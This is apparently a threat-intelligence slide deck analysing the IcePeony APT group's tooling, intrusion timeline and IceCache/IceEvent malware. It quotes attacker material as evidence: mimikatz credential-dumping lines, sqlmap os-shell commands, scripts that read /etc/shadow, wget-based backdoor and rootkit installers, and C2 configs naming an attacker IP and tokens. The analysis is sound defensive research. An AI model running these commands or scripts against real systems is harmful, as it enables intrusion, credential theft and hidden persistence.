



# IcePeony with the '996' Work Culture

Rintaro Koike / Shota Nakajima



# Agenda



- ✓ IcePeony overview
- ✓ OPSEC fail
- ✓ Detailed intrusion timeline
- ✓ Analysis of original malware families
- ✓ Attribution of IcePeony
- ✓ Wrap-Up

# IcePeony

# IcePeony



## China-nexus APT group

- Active since at least 2023
- Targeting South and Southeast Asia
  - India, Mauritius, and Vietnam
    - Indian Ocean and South China Sea
  - Mainly government agencies
- Exploiting web application vulnerability
  - SQL Injection
- Using IIS module malware
  - IceCache
- Maybe connected to China's maritime strategy



# Victimology

**India**


-  Government
-  Academic

**Vietnam**

-  Political Party

**Mauritius**

-  Government



# OPSEC Fail

In early July 2024, IcePeony had set their server to OpenDir

- Tools
  - CobaltStrike 4.8
  - craXcel
  - frp
  - Impacket
  - reGeorg
  - Sqlmap
  - suo5
  - Stowaway
- Malware
  - IceCache Client
- Command History
  - .zsh\_history
- Some scripts and logs

## Directory listing for /

- [\\_CobaltStrike4.8](#)
- [.aliases](#)
- [.bashrc](#)
- [.cache/](#)
- [.cloud-locale-test.skip](#)
- [.config/](#)
- [.local/](#)
- [.oh-my-zsh/](#)
- [.profile](#)
- [.ssh/](#)
- [.viminfo](#)

# Command History



Two weeks command history was left, revealing the details of the intrusions

```
1 : 17195 :0;cd sqlmap
2 : 17195 :0;vim 1.txt
3 : 17195 :0;python sqlmap.py -r 1.txt -p txtOfficerName --dbs
4 : 17195 :0;curl 
5 : 17195 :0;curl https://
6 : 17195 :0;python sqlmap.py -r 1.txt -p txtOfficerName --dbs
7 : 17195 :0;python sqlmap.py -r 1.txt -p txtOfficerName --dbs --random-agent
8 : 17195 :0;nmap -sV -p1-65535 -T4 -vv 
9 : 17195 :0;ls
10 : 17195 :0;curl https://
11 : 17195 :0;ls
12 : 17195 :0;apt-get install lrzsz
13 : 17195 :0;rz -E
14 : 17195 :0;ls
15 : 17195 :0;chmod +x suo5-linux-amd64
16 : 17195 :0;./suo5-linux-amd64 -h
17 : 17195 :0;./suo5-linux-amd64 -t https:// -l 0.0.0.0:8080
18 : 17195 :0;./suo5-linux-amd64 -t https:// -l 0.0.0.0:8080
```



# .aliases




- Aliases for commands commonly used in intrusions
- Help for commands commonly used in intrusions


```
hPass(){  
  echo -e "\033[32m ----- user hash ----- \033[0m"  
  echo 'mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"'  
  
  echo -e "\033[32m ----- user hash(offline)----- \033[0m"  
  echo 'mimikatz.exe "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit'  
  
  echo -e "\033[32m ----- local ldap hash ----- \033[0m"  
  echo 'mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit'  
}
```

# Intrusion Timeline

# Timeline (1/2)



# Timeline (2/2)



[7/5]

User and group information from the domain environment was collected using IceCache

[7/8]

Password-protected Excel files were cracked using craXel, and lateral movement was attempted using WmiExec

[7/10]

Checked the connections and attempted lateral movement

[7/11]

Checked the connections and attempted lateral movement

[7/9]

New proxy rules were added, and persistence was established by task schedule

[7/6]

Checked the connections

# Tools

# CobaltStrike



- Version 4.8 (Cracked)
  - <https://github.com/3yujw7njai/CobaltStrike-4.8-Cracked>
- Probably using bingsearch\_getonly.profile

```
#!/bin/bash

PASS=1PTevy3F3X4rQs
echo $PASS > password.txt
echo
echo Server IP: 165.22.211.62
echo Server Pass: $PASS
./teamserver 165.22.211.62 $PASS Profile/bingsearch_getonly.profile
```

# sqlmap (1/2)



- Well-known SQL injection tool
- Command line arguments used

```
python sqlmap.py -r 1.txt -p txtOfficerName --dbs --random-agent
```

```
python sqlmap.py -u "https://[REDACTED]/[REDACTED].aspx?status=BySchemeBenifits&pointvalue=1" -p pointvalue --os-shell
```

## ': Introduction();--

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

<https://sqlmap.org/>





- HTTP proxy tunnel built on the Chunked-Encoding
- With transmission performance similar to FRP
- Supports usage in nginx reverse proxy and load balancing scenarios
- Supports all versions of IIS .Net Framework  $\geq 2.0$

```
./suo5-linux-amd64 -t https://[REDACTED]/reg.aspx -l 0.0.0.0:8080
```

命令行版本与界面版配置完全一致，可以对照界面版功能来使用，最简单的只需指定连接目标

```
$ ./suo5 -t https://example.com/proxy.jsp
```


<https://github.com/zema1/suo5>

- Customized Stowaway

- Open Source highly functional proxy tool develop in Go language
- Added implementation of encryption for communication targets given as arguments
  - Custom Base64 + AES


```
./sta -c sOIEU1DF9pDpLeXjPtDRbLnnGRJPuTP9tsNwmSYauDzhPF-g1kYE1ceYCK8  
./agent -c sOIEU1DF9pDpLeXjPtDRbLnnGRJPuTP9tsNwmSYauDzhPF-g1kYE1ceYCK8
```

```
v24 = (void *)encoding_base64_ptr_Encoding_DecodeString(  
    (_DWORD)qword_9789B8,  
    v14,  
    v19,  
    (_DWORD)v10,  
    (_DWORD)v11,  
    v15,  
    v16,  
    v17,  
    v18);  
  
if ( v10 )  
    return 0LL;  
v47 = v24;  
v45 = v25;  
v29 = runtime_stringtoslicebyte((unsigned int)&v46, a3, a4, 0, (_DWORD)v11, v26, v27);  
v35 = StaX_crypto_KeyPadding(v29, a3, v30, 0, (_DWORD)v11, v31, v32, v33, v34);  
v40 = (unsigned int)StaX_crypto_AESDecrypt(v47, v23, v45, v35, a3, v36, v37, v38, v39);  
v48 = v35;  
return runtime_slicebytetostring(0, v40, v23, v35, a3, v41, v42, v43, v44);
```



```
agent  
└─ initial  
   f StaX_agent_initial_achieveUUID  
   f StaX_agent_initial_ModeMonitor  
   f StaX_agent_initial_NormalActive  
   f StaX_agent_initial_NormalPassive  
   f StaX_agent_initial_NormalPassive_func1  
   f StaX_agent_initial_init_0_func1  
   f StaX_agent_initial_init_0  
   f StaX_agent_initial_ParseOptions  
   f StaX_agent_initial_checkOptions
```

- Used to analyze js and url in the page to find sensitive information or unauthorized api interfaces hidden



```
-a 自定义user-agent请求头
-b 自定义baseurl路径
-c 请求添加cookie
-d 指定获取的域名,支持正则表达式
-f 批量url抓取,需指定url文本路径
-ff 与-f区别:全部抓取的数据,视为同一个url的结果来处理(只打印一份结果 | 只会输出一份结果)
-h 帮助信息
-i 加载yaml配置文件,可自定义请求头、抓取规则等(不存在时,会在当前目录创建一个默认yaml配置文件)
-m 抓取模式:
    1 正常抓取(默认)
    2 深入抓取(URL深入一层 JS深入三层 防止抓偏)
    3 安全深入抓取(过滤delete,remove等敏感路由)
-max 最大抓取数
-o 结果导出到csv、json、html文件,需指定导出文件目录(.代表当前目录)
-s 显示指定状态码,all为显示全部
-t 设置线程数(默认50)
-time 设置超时时间(默认5,单位秒)
-u 目标URL
-x 设置代理,格式: http://username:password@127.0.0.1:8877
-z 提取所有目录对404链接进行fuzz(只对主域名下的链接生效,需要与 -s 一起使用)
    1 目录递减fuzz
    2 2级目录组合fuzz
    3 3级目录组合fuzz(适合少量链接使用)
```

# craXcel



- Removes Workbook and Worksheet Protection passwords on Excel files
- craXcel cannot unlock encrypted files

## craXcel-cli (v2.0)

Python command line application to unlock Microsoft Office password protected files.

```
MINGW64 /c/users/petem/source/repos/craXcel-cli (development)
$ python craxcel.py 'test-files/locked.xlsx'

craXcel started

Checking file test-files/locked.xlsx...
File accepted...
File unpacked...
Workbook protection removed...
Worksheet protection removed...
File repackaged...
Cleaning up temporary files...
Completed unlocking file!

Summary: 1/1 files unlocked

craXcel finished
```

```
MINGW64 /c/users/petem/source/repos/craXcel-cli (development)
$ python craxcel.py 'files-to-unlock.txt' --list

craXcel started

List mode enabled
6 files detected

Checking file C:\Users\PeteM\source\repos\craXcel-cli\test-files\locked.docm...
File accepted...
File unpacked...
Document protection removed...
File repackaged...
Cleaning up temporary files...
Completed unlocking file!

Checking file C:\Users\PeteM\source\repos\craXcel-cli\test-files\locked.docx...
File accepted...
```

# ProxyChains



- OSS proxy tool for executing commands
  - <https://github.com/haad/proxychains>
- Using to execute some scripts
  - info.sh
  - linux\_back.sh
  - linux\_seo.sh

```
ip=REDACTED
proxychains sshpass -p 'Admin@123' scp -o StrictHostKeyChecking=no /root/web/info.sh root@$ip:/tmp/
proxychains sshpass -p 'Admin@123' scp -o StrictHostKeyChecking=no /root/linux_back.sh root@$ip:/tmp/
proxychains sshpass -p 'Admin@123' scp -o StrictHostKeyChecking=no /root/linux_seo.sh root@$ip:/tmp/
proxychains sshpass -p 'Admin@123' ssh -o StrictHostKeyChecking=no root@$ip
```

- Gathers system information and stores it in sysinfo.txt
  - Environment information
  - user information
  - installed tool versions
  - network environment
  - ssh configuration files
  - command history

```
infofiles() {  
    fun_catfile '/etc/hosts'  
    fun_catfile '/etc/crontab'  
    fun_catfile '/etc/passwd'  
    fun_catfile '/etc/group'  
    fun_catfile '/etc/shadow'  
    fun_catfile '/etc/sudoers'  
    fun_catfile '/etc/ssh/sshd_config'  
    fun_catfile '/etc/ldap.conf'  
    fun_catfile '/etc/openldap/ldap.conf'  
}
```

```
# <allMain>  
main() {  
    echo "" > $SYSINFOFILE  
    whois  
    cpu  
    os  
    versions  
    ipinfo  
    portscan  
    cmdInfo  
    infofiles  
    findfiles  
    cat $SYSINFOFILE  
}
```

```
versions() {  
    echo "" >> $SYSINFOFILE  
    echo "=====[Versions]  
    =====>> $SYSINFOFILE  
    tmp=$(bash --version 2>/dev/null| grep ersion -m 1)  
    echo "bash: $tmp" >> $SYSINFOFILE  
    tmp=$(python -V 2>/dev/null)  
    echo "python: $tmp" >> $SYSINFOFILE  
    tmp=$(python2 -V 2>/dev/null)  
    echo "python2: $tmp" >> $SYSINFOFILE  
    tmp=$(python3 -V 2>/dev/null)  
    echo "python3: $tmp" >> $SYSINFOFILE  
    tmp=$(perl --version 2>/dev/null|grep -E "\\.*)" -m 1)  
    echo "perl: $tmp" >> $SYSINFOFILE  
    tmp=$(php --version 2>/dev/null|grep built)  
    echo "php: $tmp" >> $SYSINFOFILE  
    tmp=$(java -version 2>&1 |grep version)  
    echo "java: $tmp" >> $SYSINFOFILE  
    tmp=$(gcc --version 2>/dev/null|grep gcc)  
    echo "gcc: $tmp" >> $SYSINFOFILE  
    tmp=$(ruby --version 2>/dev/null)  
    echo "ruby: $tmp" >> $SYSINFOFILE  
}
```

# linux\_back.sh (1/2)



- Installing backdoor
- Creating a user
- Checking system stats

```
backshell(){
    echo "-----backshell-----"
    cd $WORKDIR

    grep tcp_keepalive_time /etc/sysctl.conf > /dev/null
    if [ "$?" == "1" ];then
        echo "net.ipv4.tcp_keepalive_time = 1200" >> /etc/sysctl.conf
        touch -r /etc/ssh/ssh_config /etc/sysctl.conf
        sysctl -p
    fi

    test ! -e /etc/crontab && mkdir -p /etc/crontab
    if [ ! -e /lib/systemd/system/ ];then
        mkdir -p /lib/systemd/system/
        touch -r /lib /lib/systemd
        touch -r /lib /lib/systemd/system
    fi

    if [ -e ./backshell.sh ];then
        rm -f /lib/systemd/system/sys_kernel_update
        mv backshell.sh /lib/systemd/system/sys_kernel_update
    else
        test -z $WEBHOST && echo "Error: WebHost is empty!" && return 1;
        rm -f /lib/systemd/system/sys_kernel_update
        wget -q http://$WEBHOST/backshell.sh -O /lib/systemd/system/sys_kernel_update
    fi
}
```

# linux\_back.sh (2/2)



- Rootkit installation
  - Diamorphine
    - <https://github.com/m0nad/Diamorphine>

```
rookit(){
    echo "-----rootkit-----"
    if [ `whoami` != "root" ];then
        echo "Need root privilege!"
        return 0
    fi
    cd $WORKDIR
    if [ ! -e ./Diamorphine.tgz ];then
        test -z $WEBHOST && echo "Error: Please specify the WebHost to download Diamorphine.tgz!" && return 1;
        wget -q http://$WEBHOST/Diamorphine.tgz -O ./Diamorphine.tgz
    fi
    if [ ! -e ./Diamorphine.tgz ];then
        echo "Error: Diamorphine.tgz is not exist!"
        return 1;
    fi
}
```



# Other Tools



- Nmap
- frp
- Impacket
- reGeorg
- fscan
- Ladon
- linux-exploit-suggester
- DirtyCow exploit

```
[common]
server_addr = 165.22.211.62
server_port = 28443
token = Mk89BELQM1

[socks_proxy]
type = tcp
remote_port = 21080
plugin = socks5
```


frpc.ini

```
python neoreg.py -u https://[REDACTED]/check.aspx -k Rrm3BTQwgNyAIE12 -l 0.0.0.0 -p 8440
```

# IceCache / IceEvent

# IceCache / IceEvent

- Compromise the victim's IIS with IceCache
- IceEvent was probably used for internal network communications



# IceCache Client



- ELF64 Binary
- Developed in Go lang
- Customized reverse proxy based on reGeorge

```
OS           EM_X86_64
Arch         amd64
Compiler     1.21.1 (2023-09-06)
Build ID     0gq0CbNX2DLf1V4n7GIq/STkDyn
Main root    reGeorgGo
# main      1
# std       100
# vendor    2
-buildmode  exe
-compiler   gc
-trimpath   true
DefaultGODEBUG panicnil=1
CGO_ENABLED 0
GOARCH      amd64
GOOS        linux
GOAMD64     v1
```

```
Usage:
  iisClient [OPTIONS]

Basic:
  -u, --url=          The url containing the tunnel script
  --to=              Specify the target param
  -v, --verbose      Show verbose debug message
  --ua=              Set header User-Agent
  -H, --host=        Set header Host
  --admin            Whether to use the Administrator to exec
  -V, --version      Version

Proxy:
  --enable=          Enable/Disable proxy function, 1 (enable) or 0 (disable) (default: -1)
  --list             List proxy rules
  --add=             Add a proxy rule, foward 'to' target host
  --del=             Del a proxy rule
  --clear            Clear all proxy rules
  --count            Show the count statistics
  --setCache=        Set the cache time(in second), set 0 to disable cache (default: -1)
  --clearCache      Clear cache data(not change cacheable status)

Socks:
  --socks            Start a Socks server
  -l, --listen=     Socks listen address (default: 0.0.0.0)
  -p, --port=       Socks listen port (default: 8888)

File:
  --up=             Upload a local file 'to' remote server
  --down=           Download a remote file 'to' local

Cmd:
  -c, --cmd=        The command to execute, example: whoami
  -t, --timeout=    Timeout of the command execution in seconds (default: 5)

Help Options:
  -h, --help        Show this help message
```

# IceCache Module (1/2)



- Installed on IIS Server
- There are two types
  - although some commands are not even present in the same type
- PDB
  - C:\Users\power\documents\visual studio 2017\Projects\cachsess\x64\Release\cachsess.pdb
  - C:\Users\power\Documents\Visual Studio 2017\Projects\cachsess\Release\cachsess32.pdb

# IceCache Module (2/2)



TYPE-A	
EXEC / EXEC_PRO	Command to the execution of a process
SOCKS_HELLO	Command to SOCKS protocol initial handshake message
SOCKS_CONNECT	Command to indicate a connection request with the SOCKS protocol
SOCKS_DISCONNECT	Command to indicate disconnection with SOCKS protocol
SOCKS_READ	Command to reading of data in SOCKS protocol
SOCKS_FORWARD	Command to instruct data transfer via SOCKS protocol
PROXY_ADD	Command to add a proxy
PROXY_LIST	Command to list a proxy
PROXY_DEL	Command to del a proxy
PROXY_CLEAR	Command to clear all proxy settings
PROXY_SET_JS	Set the JavaScript
PROXY_GET_JS	Get set the JavaScript
PROXY_ALLOW_PC	Allowed PC settings
PROXY_CACHE_CLEAR	Command to clear the proxy cache
PROXY_CACHE_TIME	Command to set proxy cache time
FILE_UPLOAD	Upload Files
FILE_DOWNLOAD	Download Files

TYPE-B	
EXEC / EXEC_PRO	Command that directs the execution of a process
SOCKS_HELLO	SOCKS protocol initial handshake message
SOCKS_CONNECT	Command to indicate a connection request with the SOCKS protocol
SOCKS_DISCONNECT	Command to indicate disconnection with SOCKS protocol
SOCKS_READ	Command that directs reading of data in SOCKS protocol
SOCKS_FORWARD	Command to instruct data transfer via SOCKS protocol
PROXY_ADD	Command to add a proxy
PROXY_LIST	Command to list a proxy
PROXY_DEL	Command to del a proxy
PROXY_CLEAR	Command to clear all proxy settings
FILE_UPLOAD / FILE_UPLOAD_PRO	Upload Files
FILE_DOWNLOAD / FILE_DOWNLOAD_PRO	Download Files
IIS_VERSION	Show IIS version

# IceCache Module Type



sha256[:8]	Compile Time	First Submission	Submitter	Cmd Num	X-Token	TYPE
5b16d153	2024-07-17 09:11:14	2024-08-03 04:58:20	c8d0b2b9 (ID)	20	tn7rM2851XVvOFbc	B
484e2740	2024-06-21 03:05:15	2024-08-07 09:25:53	39d4d6d2 – email	20	tn7rM2851XVvOFbc	B
11e90e24	2024-06-05 03:52:48	2024-06-18 12:21:50	d9cb313c (ID)	20	tn7rM2851XVvOFbc	B
b8d030ed	2024-06-05 03:52:41	2024-06-18 10:47:18	408f1927 (ID)	20	tn7rM2851XVvOFbc	B
ceb47274	2024-04-25 09:53:26	2024-08-02 21:50:50	06ac9f47 (BR)	20	tn7rM2851XVvOFbc	B
d1955169	2024-04-21 11:29:25	2024-06-18 12:24:39	d9cb313c (ID)	18	tn7rM2851XVvOFbc	B
de8f58f0	2024-04-21 11:29:10	2024-06-18 10:49:53	408f1927 (ID)	18	tn7rM2851XVvOFbc	B
535586af	2024-03-27 05:08:50	2024-04-19 07:57:19	c2440bbf (ID)	18	tn7rM2851XVvOFbc	B
0b8b10a2	2024-03-27 05:08:57	2024-04-18 13:54:16	c2440bbf (ID)	18	tn7rM2851XVvOFbc	B
a66627cc	2024-02-20 09:26:58	2024-03-12 15:17:55	a6412166 (VN)	16	cbFOvVX1582Mr7nt	A
e5f520d9	2024-02-01 09:32:21	2024-07-17 09:30:04	24761b38 (SG)	24	cbFOvVX1582Mr7nt	A
3eb56218	2023-12-07 03:04:16	2024-03-20 13:54:02	0f09a1ae (ID)	24	cbFOvVX1582Mr7nt	A
5fd5e99f	2023-09-27 08:50:46	2024-03-24 08:59:02	Ca43fb0f (ID)	24	cbFOvVX1582Mr7nt	A
0eb60e4c	2023-08-23 09:11:24	2023-10-18 10:11:00	0e8f2a34 (VN)	18	cbFOvVX1582Mr7nt	A

# IceCache Module Type



sha256[:8]	Compile Time	First Submission	Submitter	Cmd Num	X-Token	TYPE
5b16d153	2024-07-17 09:11:14	2024-08-03 04:58:20	c8d0b2b9 (ID)	20	tn7rM2851XVvOFbc	B
484e2740	2024-06-21 03:05:15	2024-08-07 09:25:53	39d4d6d2 – email	20	tn7rM2851XVvOFbc	B
11e90e24	2024-06-05 03:52:48	2024-06-18 12:21:50	d9cb313c (ID)	20	tn7rM2851XVvOFbc	B
b8d030ed	2024-06-05 03:52:41	2024-06-18 10:47:18	408f1927 (ID)	20	[+] FILE_UPLOAD_PRO [+] FILE_DOWNLOAD_PRO	B
ceb47274	2024-04-25 09:53:26	2024-08-02 21:50:50	06ac9f47 (BR)	20	tn7rM2851XVvOFbc	B
d1955169	2024-06-18 12:24:39	2024-06-18 12:24:39	d9cb313c (ID)	18	tn7rM2851XVvOFbc	B
de8f58f0	2024-06-18 10:49:53	2024-06-18 10:49:53	408f1927 (ID)	18	tn7rM2851XVvOFbc	B
535586af	2024-04-19 07:57:19	2024-04-19 07:57:19	c2440bbf (ID)	18	tn7rM2851XVvOFbc [+] PROXY_COUNT [+] IIS_VERSION	B
0b8b10a2	2024-04-18 13:54:16	2024-04-18 13:54:16	c2440bbf (ID)	18	tn7rM2851XVvOFbc	B
a66627cc	2024-03-12 15:17:55	2024-03-12 15:17:55	a6412166 (VN)	16	cbFOvVX1582Mr7nt	A
e5f520d9	2024-02-01 09:32:21	2024-07-17 09:30:04	24761b38 (SG)	24	cbFOvVX1582Mr7nt	A
3eb56218	2023-12-07 03:04:16	2024-03-20 13:54:02	0f09a1ae (ID)	24	cbFOvVX1582Mr7nt	A
5fd5e99f	2024-03-24 08:59:02	2024-03-24 08:59:02	Ca43fb0f (ID)	24	cbFOvVX1582Mr7nt	A
0eb60e4c	2023-10-18 10:11:00	2023-10-18 10:11:00	0e8f2a34 (VN)	18	cbFOvVX1582Mr7nt	A

[-] PROXY\_LIST\_CONTENT  
[-] PROXY\_ADD\_CONTENT  
[-] PROXY\_GET\_CONTENT  
[-] PROXY\_DEL\_CONTENT  
[-] PROXY\_CLEAR\_CONTENT  
[-] PROXY\_SET\_JS  
[-] PROXY\_GET\_JS  
[-] PROXY\_ALLOW\_PC

[+] PROXY\_LIST\_CONTENT  
[+] PROXY\_ENABLE  
[+] PROXY\_ADD\_CONTENT  
[+] PROXY\_GET\_CONTENT  
[+] PROXY\_DEL\_CONTENT  
[+] PROXY\_CLEAR\_CONTENT



# IceEvent (1/2)



- Installed as a service
- Simple Passive Backdoor
  - Hard-coded list of ports to listen on 49834
- Log output to TEMP folder
  - C:\Windows\Temp\servicelog.txt
- PDB
  - C:\Users\power\Documents\Visual Studio 2017\Projects\WinService\x64\Release\WinService.pdb

# IceEvent (2/2)



TYPE-A	
FILE:	Command to Reading files via sockets
CMD:	Command to the execution of a process

TYPE-B	
UPFILE	Upload Files
DOWNFILE	Download Files
CMD	Command to the execution of a process

sha256[:8]	Compile Time	First Submission	Submitter	Cmd Num	TYPE
80e83118	2024-04-25 09:50:58	2024-07-25 05:43:08	INDIA(99003aca)	3	B
9aba997b	2024-04-30 04:48:48	2024-06-14 05:46:49	INDIA(060734bd)	3	B
9a0b0439	2024-04-25 09:50:58	2024-06-14 05:00:08	INDIA(060734bd)	3	B
bc94da1a	2023-08-23 08:52:46	2023-09-05 03:03:57	INDIA(81f8b666)	2	A

# Similarities between IceCache and IceEvent



- Same encoding method for communication data
- Same command implementation
- PDB shows that they were made in the same development environment
  - C:\Users\power\Documents\Visual Studio 2017\Projects

# Similarities between IceCache and IceEvent



```
1 _QWORD *__fastcall xor(_QWORD *a1, _QWORD *a2)
2 {
3     unsigned __int64 i; // rsi
4     size_t v4; // rdx
5     _QWORD *enc_data; // rdx
6     _QWORD *dec_data; // rax
7     int key[4]; // [rsp+28h] [rbp-20h]
8
9     i = 0LL;
10    key[0] = 0x32633425;
11    v4 = a2[2];
12    a1[3] = 15LL;
13    a1[2] = 0LL;
14    *(_BYTE *)a1 = 0;
15    key[1] = 0x3C7BCAA1;
16    key[2] = 0x56F2E8D;
17    key[3] = 0x56372809;
18    sub_180013880(a1, v4);
19    if ( a2[2] )
20    {
21        do
22        {
23            if ( a2[3] < 0x10uLL )
24                enc_data = a2;
25            else
26                enc_data = (_QWORD *)a2;
27            if ( a1[3] < 0x10uLL )
28                dec_data = a1;
29            else
30                dec_data = (_QWORD *)a1;
31            *((_BYTE *)dec_data + i) = *((_BYTE *)enc_data + i) ^ *((_BYTE *)key + (i & 0xF));
32            ++i;
33        }
34        while ( i < a2[2] );
35    }
36    return a1;
37 }
```

IceCache

```
1 _QWORD *__fastcall sub_1400035F0(_QWORD *a1, _QWORD *a2)
2 {
3     unsigned __int64 v2; // rsi
4     size_t v4; // rdx
5     _QWORD *v6; // rdx
6     _QWORD *v7; // rcx
7     int v9[8]; // [rsp+28h] [rbp-20h]
8
9     v2 = 0LL;
10    v9[0] = 0x32633425;
11    v4 = a2[2];
12    a1[2] = 0LL;
13    a1[3] = 15LL;
14    *(_BYTE *)a1 = 0;
15    v9[1] = 0x3C7BCAA1;
16    v9[2] = 0x56F2E8D;
17    v9[3] = 0x56372809;
18    sub_1400051B0(a1, v4);
19    if ( a2[2] )
20    {
21        do
22        {
23            if ( a2[3] < 0x10uLL )
24                v6 = a2;
25            else
26                v6 = (_QWORD *)a2;
27            if ( a1[3] < 0x10uLL )
28                v7 = a1;
29            else
30                v7 = (_QWORD *)a1;
31            *((_BYTE *)v7 + v2) = *((_BYTE *)v6 + v2) ^ *((_BYTE *)v9 + (v2 & 0xF));
32            ++v2;
33        }
34        while ( v2 < a2[2] );
35    }
36    return a1;
37 }
```

IceEvent

# Similarities between IceCache and IceEvent



IceCache

```
Pseudocode-A
82 StartupInfo.dwFlags |= 0x100u;
83 if ( *((_DWORD *)v4 + 3) >= 8uLL )
84 v4 = *(WCHAR **)v4;
85 if ( !CreateProcess(0LL, v4, 0LL, 0LL, 1, 0, 0LL, 0LL, &StartupInfo, &ProcessInformation) )
86 {
87     CloseHandle(hWritePipe);
88     CloseHandle(hReadPipe);
89     GetLastError();
90     sub_180013980(Buffer, "CreateProcess failed: %d");
91     ai[3] = 15LL;
92     ai[2] = 0LL;
93     *(_BYTE *)a1 = 0;
94     if ( Buffer[0] )
95     {
96         v6 = -1LL;
97         do
98             ++v6;
99         while ( Buffer[v6] );
100     }
101     goto LABEL_19;
102 }
103 CloseHandle(hWritePipe);
104 v7 = 0;
105 NumberOfBytesRead = 0;
106 Src[3] = 15LL;
107 Src[2] = 0LL;
108 LOBYTE(Src[0]) = 0;
109 v8 = 0;
110 TotalBytesAvail = 0;
111 v9 = 0;
112 while ( 1 )
113 {
114     while ( 1 )
115     {
116         if ( !v7 || !v8 )
117             Sleep(0x32u);
118         if ( PeekNamedPipe(hReadPipe, 0LL, 0, 0LL, &TotalBytesAvail, 0LL) && TotalBytesAvail )
119             break;
120         v6 = 0;
121         TotalBytesAvail = 0;
122         v7 = 0;
123         NumberOfBytesRead = 0;
124         if ( ++v9 >= 20 )
125             goto LABEL_30;
126     }
127     if ( !ReadFile(hReadPipe, Buffer, 0x1000u, &NumberOfBytesRead, 0LL) || !NumberOfBytesRead )
128         break;
129     v6 = 0;
130     sub_180006960(Src, Buffer, NumberOfBytesRead);
131     v7 = NumberOfBytesRead;
132     v8 = TotalBytesAvail;
133 }
134 LABEL_30:
135 CloseHandle(hReadPipe);
136 if ( WaitForSingleObject(ProcessInformation.hProcess, a3) == 258 )
137 {
138     CloseHandle(ProcessInformation.hThread);
139     CloseHandle(ProcessInformation.hProcess);
140     TerminateProcess(ProcessInformation.hProcess, 1u);
141     v28 = 15LL;
142     v27 = 0LL;
143     MultiByteStr[0] = 0;
144     sub_180007400(MultiByteStr, "Time out!", 9uLL);
145     v10 = (const WCHAR *)sub_180012B30(v22, MultiByteStr);
146     sub_180012D50(a1, v10);
147     if ( v24 >= 8 )
148         std::allocator<wchar_t>::deallocate(v22, v22[0], v24 + 1);
149     v24 = 7LL;
150     v23 = 0LL;
151     LOWORD(v22[0]) = 0;
152     sub_180006B00(MultiByteStr);
153 }
154 else
155 {
156     CloseHandle(ProcessInformation.hProcess);
157     CloseHandle(ProcessInformation.hThread);
158     v11 = (const WCHAR *)sub_180012B30(v22, (LPCCH)Src);
159     sub_180012D50(a1, v11);
160     if ( v24 >= 8 )
```

```
Pseudocode-H
94 v2 = *(WCHAR **)v2;
95 if ( !CreateProcessW(0LL, v2, 0LL, 0LL, 1, 0, 0LL, 0LL, &StartupInfo, &ProcessInformation) )
96 {
97     CloseHandle(hWritePipe);
98     CloseHandle(hReadPipe);
99     GetLastError();
100     sub_140005650(Buffer, "CreateProcess failed: %d");
101     v25 = 0LL;
102     v26 = 15LL;
103     Src[0] = 0;
104     v4 = -1LL;
105     v7 = -1LL;
106     do
107         ++v7;
108     while ( Buffer[v7] );
109     sub_140002610(Src, Buffer, v7);
110     sub_140003430((__int64)Src);
111     ai[2] = 0LL;
112     ai[3] = 15LL;
113     *(_BYTE *)a1 = 0;
114     do
115         ++v4;
116     while ( Buffer[v4] );
117     goto LABEL_22;
118 }
119 CloseHandle(hWritePipe);
120 v8 = 0;
121 NumberOfBytesRead = 0;
122 v25 = 0LL;
123 v26 = 15LL;
124 Src[0] = 0;
125 v9 = 0;
126 TotalBytesAvail = 0;
127 v10 = 0;
128 while ( 1 )
129 {
130     while ( 1 )
131     {
132         if ( !v8 || !v9 )
133             Sleep(0x32u);
134         if ( PeekNamedPipe(hReadPipe, 0LL, 0, 0LL, &TotalBytesAvail, 0LL) && TotalBytesAvail )
135             break;
136         v9 = 0;
137         TotalBytesAvail = 0;
138         v8 = 0;
139         NumberOfBytesRead = 0;
140         if ( ++v10 >= 60 )
141             goto LABEL_33;
142     }
143     if ( !ReadFile(hReadPipe, Buffer, 0x1000u, &NumberOfBytesRead, 0LL) || !NumberOfBytesRead )
144         break;
145     v10 = 0;
146     sub_140002460(Src, Buffer, NumberOfBytesRead);
147     v8 = NumberOfBytesRead;
148     v9 = TotalBytesAvail;
149 }
150 LABEL_33:
151 CloseHandle(hReadPipe);
152 if ( WaitForSingleObject(ProcessInformation.hProcess, 0x7530u) == 258 )
153 {
154     CloseHandle(ProcessInformation.hThread);
155     CloseHandle(ProcessInformation.hProcess);
156     TerminateProcess(ProcessInformation.hProcess, 1u);
157     v14 = 0LL;
158     v15 = 7LL;
159     WideCharStr[0] = 0;
160     sub_140005090(WideCharStr, L"Time out!");
161     sub_1400038C0(a1, WideCharStr);
162 }
163 else
164 {
165     CloseHandle(ProcessInformation.hProcess);
166     CloseHandle(ProcessInformation.hThread);
167     v11 = (const WCHAR *)sub_1400036A0(WideCharStr, Src);
168     sub_1400038C0(a1, v11);
169 }
170 sub_140002390(WideCharStr);
171 sub_140002570(Src);
172 return a1;
173 }
```

IceEvent

# C&C Communication



```

00000000 50 4f 53 54 20 2f 20 48 54 54 50 2f 31 2e 31 0d POST / HTTP/1.1
00000010 0a 48 6f 73 74 3a 20 31 39 32 2e 31 36 38 2e 31 .Host: 192.168.1
00000020 31 2e 31 36 0d 0a 55 73 65 72 2d 41 67 65 6e 74 1.168.1>User-Agent
00000030 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 2b 28 4d : Mozilla/5.0+(M
00000040 53 49 45 2b 31 30 2e 30 3b 2b 57 69 6e 64 6f 77 SIE+10.0;+Window
00000050 73 2b 4e 54 2b 36 2e 31 3b 2b 54 72 69 64 65 6e s+NT+6.1;+Triden
00000060 74 2f 35 2e 30 29 0d 0a 43 6f 6e 74 65 6e 74 2d t/5.0)..Content-
00000070 4c 65 6e 67 74 68 3a 20 33 35 0d 0a 58 2d 43 6d Length: 35..X-Cm
00000080 64 3a 20 45 58 45 43 0d 0a 58 2d 54 6f 6b 65 6e d: EXEC..X-Token
00000090 3a 20 63 62 46 4f 76 56 58 31 35 38 32 4d 72 37 : cbF0vX1582Mr7
000000A0 6e 74 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 nt..Accept-Encod
